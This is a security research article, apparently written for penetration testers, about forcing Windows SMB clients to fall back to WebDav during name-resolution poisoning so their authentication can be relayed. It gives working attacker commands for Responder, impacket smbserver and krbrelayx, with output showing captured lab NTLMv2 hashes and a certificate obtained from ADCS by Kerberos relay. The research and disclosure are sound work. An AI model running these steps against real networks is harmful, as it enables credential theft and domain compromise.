Taking the relaying capabilities of multicast poisoning to the next level: tricking Windows SMB clients into falling back to WebDav
When performing LLMNR/mDNS/NBTNS poisoning in an Active Directory environment, it is fairly common to be able to trigger SMB authentications to an attacker-controlled machine. This kind of authentication may be useful, but is rather limited from a relaying standpoint, due to the fact that Windows SMB clients support integrity mechanisms such as signing.
HTTP authentications, on the other hand, are more interesting for attackers. The lack of integrity checking support in NTLM makes it possible to relay them to sensitive services such as LDAP. Their behaviour can also be abused to perform Kerberos relaying. HTTP authentications are, however, less common when performing standard multicast poisoning.
This article describes a simple technique that consists in returning specific SMB error codes to make Windows SMB clients fall back to the WebDav HTTP client if the latter is available. This, as a result, allows triggering HTTP authentications from an SMB connection in a multicast poisoning context, opening the door to a more powerful relaying primitive.
1. Introduction
Local name resolution poisoning is a pretty well-known attack vector in Active Directory environments, especially when trying to gain a foothold into the network. It will be assumed that the reader has a basic understanding of how these attacks work – if not, a lot of resources are available online (see here or here).
While performing local name resolution poisoning, for instance with the infamous Responder tool, it is rather common to be able to trigger SMB authentications. Due to the prevalence of the SMB protocol in Windows environments, machines may try to automatically mount shares that do not exist anymore, services may try to reach non-existing shares, users may make typos when entering an SMB URI, and so on.
SMB authentications can prove interesting – if they were triggered by user accounts, one may for instance attempt to crack NetNTLM hashes offline. They are, however, rather limited from an NTLM relaying standpoint. The goal of this article is not to go over NTLM relaying attacks in depth – again, a lot of resources exist if you are not familiar with this exploitation vector and the relaying possibilities depending on the relayed protocol (this article provides a detailed overview).
In a nutshell, the Windows SMB client supports integrity checking mechanisms such as signing. As a result, services that enable signing when the client supports it will implement integrity checks after the SMB client authenticates – making the relay attack fail. This is most notably the case of the sensitive LDAP service by default. Consequently, SMB to LDAP relaying cannot be performed.
This is precisely why capturing an NTLM authentication emitted by an HTTP client is a lot more interesting. When performing plain NTLM authentication, Windows HTTP clients will generally not support signing. This means that services such as LDAP will not perform such checks, making NTLM relaying from HTTP to LDAP succeed.
Relaying to the LDAP service is particularly powerful when performing local name poisoning from an unauthenticated position since it may provide the attacker with an entry point into the network – for instance, by abusing the default configuration allowing users to create machine accounts, implementing a shadow credentials attack, etc.
Capturing NTLM authentication data over HTTP is thus pretty valuable compared to SMB when poisoning an Active Directory network. It is however also significantly rarer.
This is where the exploit demonstrated in the article comes into play. What if there was a way to trick Windows SMB clients into falling back to the WebDav HTTP client when the latter is available, thus turning what would be SMB authentications into HTTP ones ? This would make local name resolution poisoning a much more efficient authentication relaying vector, which is particularily interesting in the context of unauthenticated exploitation. Such a trick does exist, and is straightforward to implement.
2. Tricking Windows SMB clients into falling back to WebDav
This section concretely demonstrates the trick making Windows SMB clients fall back to the WebDav client when available, and thus to HTTP authentication.
For illustration purposes, let us consider a Windows workstation with the WebClient service running. The standard local name poisoning exploit scenario would be to simply run Responder on an attacker machine in the same multicast domain as the workstation, and wait for the SMB client to fail to resolve an SMB share name.
We will simulate a name resolution failure with the dir
command, but such a failure could also happen due to automatic configurations or services:
# On the Windows workstation AD01-WKS1$
C:> dir \\idonotexist\abcd
# On the attacker machine
$ python3 Responder.py -I eth0
[...]
[*] [NBT-NS] Poisoned answer sent to 192.168.123.18 for name IDONOTEXIST (service: File Server)
[*] [MDNS] Poisoned answer sent to 192.168.123.18 for name idonotexist.local
[*] [MDNS] Poisoned answer sent to fe80::21bb:3ade:e5b8:135b for name idonotexist.local
[*] [LLMNR] Poisoned answer sent to fe80::21bb:3ade:e5b8:135b for name idonotexist
[*] [LLMNR] Poisoned answer sent to 192.168.123.18 for name idonotexist
[*] [MDNS] Poisoned answer sent to 192.168.123.18 for name idonotexist.local
[*] [LLMNR] Poisoned answer sent to fe80::21bb:3ade:e5b8:135b for name idonotexist
[*] [MDNS] Poisoned answer sent to fe80::21bb:3ade:e5b8:135b for name idonotexist.local
[*] [LLMNR] Poisoned answer sent to 192.168.123.18 for name idonotexist
[SMB] NTLMv2-SSP Client : fe80::21bb:3ade:e5b8:135b
[SMB] NTLMv2-SSP Username : CORP\AD01-WKS1$
[SMB] NTLMv2-SSP Hash : AD01-WKS1$::CORP:fb3f986f96a4b888:D6DBEE832D1DC6384E2A33E0BA41D797:010100000000000000AF5E673087DB01ADA5A9CA30A34F3000000000020008004C004E005400530001001E00570049004E002D0054003000480041004F0036005900390036003700550004003400570049004E002D0054003000480041004F003600590039003600370055002E004C004E00540053002E004C004F00430041004C00030014004C004E00540053002E004C004F00430041004C00050014004C004E00540053002E004C004F00430041004C000700080000AF5E673087DB01060004000200000008003000300000000000000000000000004000004E2D3C849717547A5A0C32FC57B0F0ED7970F58C64565B3045E7C43EC73D74090A001000000000000000000000000000000000000900200063006900660073002F00690064006F006E006F007400650078006900730074000000000000000000
An authentication is received via SMB. This is the expected behaviour for the attack. When examining the network traffic with Wireshark, it can be observed that Responder ends the authentication exchange with a STATUS_ACCESS_DENIED
status code in the context of the SMB exchange. The SMB client then simply closes the connection without performing any additional action.

STATUS_ACCESS_DENIED
error and the SMB client closing the connection.We however noticed that when presented with specific error codes and under certain conditions, the Windows SMB client will actually fall back to the WebDav HTTP client if it is available. This behaviour was identified with the following error codes:
-
STATUS_LOGON_FAILURE
(0xc000006d) -
STATUS_BAD_NETWORK_NAME
(0xc00000cc)
Such a list is not exhaustive and the fallback may happen with other error codes – we however deemed these two sufficient as they are easily implementable in a multicast poisoning context.
To demonstrate this behaviour, we will again simulate a resolution failure with the dir
command from a Windows workstation with the WebDav client enabled. This time, we will disable Responder’s SMB server. We will instead run the impacket’s smbserver.py utility that we will configure with a username and a password in order to return a STATUS_LOGON_FAILURE
error to the poisoned Windows SMB client, and trigger the fallback behaviour.
# On the Windows workstation AD01-WKS1$
C:> dir \\idonotexist\abcd
# On the attacker machine – SMB server with credentials
$ python3 examples/smbserver.py synacktiv . -smb2support -username anything -password anything
[...]
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (192.168.123.18,51666)
[*] AUTHENTICATE_MESSAGE (CORP\AD01-WKS1$,AD01-WKS1)
[*] Could not authenticate user!
[...]
# On the attacker machine
$ python3 Responder.py -I eth0
[...]
[*] [LLMNR] Poisoned answer sent to fe80::21bb:3ade:e5b8:135b for name idonotexist
[*] [MDNS] Poisoned answer sent to 192.168.123.18 for name idonotexist.local
[*] [LLMNR] Poisoned answer sent to fe80::21bb:3ade:e5b8:135b for name idonotexist
[*] [LLMNR] Poisoned answer sent to 192.168.123.18 for name idonotexist
[*] [MDNS] Poisoned answer sent to fe80::21bb:3ade:e5b8:135b for name idonotexist.local
[*] [LLMNR] Poisoned answer sent to 192.168.123.18 for name idonotexist
[WebDAV] NTLMv2 Client : fe80::21bb:3ade:e5b8:135b
[WebDAV] NTLMv2 Username : CORP\AD01-WKS1$
[WebDAV] NTLMv2 Hash : AD01-WKS1$::CORP:59220a8622d1bbb0:AA8D578D84ABF23AE97B04CC9A38B854:01010000000000004640CB90C187DB01EAD118227330AA3E0000000002000800580035005100430001001E00570049004E002D00320030003700450046004100340047005200390031000400140058003500510043002E004C004F00430041004C0003003400570049004E002D00320030003700450046004100340047005200390031002E0058003500510043002E004C004F00430041004C000500140058003500510043002E004C004F00430041004C0008003000300000000000000000000000004000004E2D3C849717547A5A0C32FC57B0F0ED7970F58C64565B3045E7C43EC73D74090A0010000000000000000000000000000000000009002C0048005400540050002F00690064006F006E006F007400650078006900730074002E006C006F00630061006C000000000000000000
As described above, following the dir
command, the SMB client is poisoned through the LLMNR/mDNS/NBTNS protocols and connects to the attacker machine. On the attacker machine, an SMB server configured with credentials is executed in order to return a STATUS_LOGON_FAILURE
error to the client. Said client then falls back to the WebDav HTTP client, which is the one that then performs the authentication which is caught by Responder.

STATUS_LOGON_FAILURE
error.The implications in term of NTLM (but also Kerberos) relaying are pretty interesting as mentioned in the introduction. They will be discussed in the 4th and 5th sections.
3. Requirements & limitations
There are two main requirements in terms of network and systems configurations to be able to carry out the attack:
- One of the LLMNR, mDNS or NBTNS protocols must be enabled on the local network.
- The target machine should have the WebDav client installed and running.
It is important to note that some limitations have been identified during our tests. More specifically, not all the functionalities involving SMB operations on a Windows machine will result in the SMB client automatically falling back to WebDav in case the aforementioned error codes are returned by the attacker’s server.
During our research, we were able to confirm that the following actions do trigger the behaviour:
- Running a
dir
command targeting a non-existing SMB share in Windows cmd. - Running the
net use
command targeting a non-existing SMB share in Windows cmd. - Trying to access a non-existing SMB share from the file explorer interface.
- Trying to access a non-existing SMB share from a browser (such as Edge), or trying to load a non-existing SMB resource from a web page rendered by a browser.
- Searching for a non-existing SMB share in the "map network drive" browsing window.
- Searching for a non-existing SMB share from the "add network location" window.
However, some other functionalities (that seem to explicitly expect to handle SMB operations that could not be related to any kind of WebDav functionality) did not result in the SMB client falling back to WebDav, for instance:
- Using the
New-SmbMapping
Powershell cmdlet. - Only providing a server name (
\\idonotexist
) but no share name in the file explorer. - Clicking on "finish" in the "map network drive" window.
- Trying to explicitly access a network share that was previously mounted and whose name does not resolve anymore.
Both those lists are not exhaustive but indicate that some Windows functionalities result in the SMB client fallback to WebDav, while some others do not. Successfully triggering an HTTP authentication from an SMB connection may thus also depend on the kind of action (whether manual or automated) performed on the target machines. Time should tell how often Windows functionalities falling back to WebDav are encountered in engagements. Considering the functionalities that were confirmed to trigger the fallback, there is good hope that this could be regularly happening.
4. Implications regarding NTLM relaying
The main implication of this trick regarding NTLM relaying is the ability to relay authentication data from a connection initiated by an SMB client to LDAP by triggering the fallback to WebDav. This is particularly interesting due to the possibility to carry out the attack without authentication, and thus potentially gaining a foothold into the domain through the interactions with the LDAP service.
The following video demonstrates the relay of a Windows workstation account to LDAP following an SMB request to a non-existent share, and the execution of a shadow credentials attack to compromise it.
5. Implications regarding Kerberos relaying
The implications of this trick are not, however, limited to NTLM relaying but also offer interesting perspectives regarding Kerberos relaying.
Our previous article describing our Responder pull request (now merged into main) demonstrates how local name resolution poisoning can be abused to perform Kerberos relaying via LLMNR. More specifically, it takes advantage of the way HTTP clients use the answer name of the DNS response to determine the SPN for which a service ticket should be retrieved, before submitting the ticket to the IP address associated with the answer. Kerberos relaying can thus be achieved by poisoning LLMNR to construct a DNS response with the relay target as the answer name, and a record pointing to the attacker machine. As a result, the HTTP client would ask for a service ticket for the relay target, construct an AP-REQ, but send it to the attacker machine which can then relay it.
The fact is that only HTTP clients consider the answer name of the DNS response to determine the target SPN – but not the SMB clients. As a result, the trick described in the present article can be leveraged to force the SMB client to fall back to WebDav, while simultaneously providing a crafted answer name to perform Kerberos relaying.
The following example demonstrates a Kerberos relaying attack targeting the ADCS web service. On the one hand, a Responder instance is executed with the ad01-pki
spoofed answer name (this corresponds to the ADCS host). Note that this will only work with the LLMNR poisoner (see our previous article on this point). An impacket SMB server with specific credentials is also launched. In parallel, a krbrelayx instance targeting the ADCS web enrollment endpoint is executed (without the SMB server component).
Here is what happens, in order:
- The SMB client is poisoned and tries to authenticate to the impacket’s SMB server. A
STATUS_LOGON_FAILURE
error code is returned. - The WebDav client is called as a fallback. It contacts the attacker machine in HTTP, and thus the krbrelayx instance.
- Krbrelayx asks for Kerberos authentication. The WebDav HTTP client will ask a service ticket for the
HTTP/ad01-pki
SPN, and send it to krbrelayx. - Krbrelayx relays the AP-REQ to the ADCS web enrollment endpoint, and successfully retrieves a certificate.
# On the Windows workstation
C:\> dir \\idonotexist\abcd
# On the attacker machine – Responder with LLMNR poisoner active and no HTTP/SMB servers
$ python3 Responder.py -I eth0 -N 'ad01-pki'
[...]
[*] [LLMNR] Poisoned answer sent to fe80::21bb:3ade:e5b8:135b for name idonotexist (spoofed answer name ad01-pki)
[*] [LLMNR] Poisoned answer sent to 192.168.123.18 for name idonotexist (spoofed answer name ad01-pki)
[*] [LLMNR] Poisoned answer sent to fe80::21bb:3ade:e5b8:135b for name idonotexist (spoofed answer name ad01-pki)
[*] [LLMNR] Poisoned answer sent to 192.168.123.18 for name idonotexist (spoofed answer name ad01-pki)
# On the attacker machine – SMB server with credentials
$ python3 examples/smbserver.py synacktiv . -smb2support -username anything -password anything
[...]
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (192.168.123.18,52067)
[*] AUTHENTICATE_MESSAGE (CORP\AD01-WKS1$,AD01-WKS1)
[*] Could not authenticate user!
[*] Closing down connection (192.168.123.18,52067)
[*] Remaining connections []
# On the attacker machine – krbrelayx (no SMB server) targeting ADCS web enrollment endpoint
$ sudo python3 krbrelayx.py --target 'http://ad01-pki.corp.com/certsrv/' --adcs --template Machine
[...]
[*] Servers started, waiting for connections
[*] HTTPD: Received connection from 192.168.123.18, prompting for authentication
[*] HTTPD: Received connection from 192.168.123.18, prompting for authentication
[*] HTTP server returned status code 200, treating as a successful login
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] GOT CERTIFICATE! ID 46
[*] Base64 certificate of user unknown9524$:
MIIRBQIBAzCCEL8GCSqGSIb3DQEHAaCCE[...]wQIwcQolKlhvRM=
6. Conclusion
The trick presented in this article is simple, but can prove powerful when it comes to the exploitation of local name resolution poisoning in Active Directory. Performing relaying attacks to the LDAP service while unauthenticated may be useful to gain a foothold in the domain. Whether regarding NTLM or Kerberos, making Windows SMB clients fall back to WebDav generally enhances relaying capabilities of local name resolution poisoning.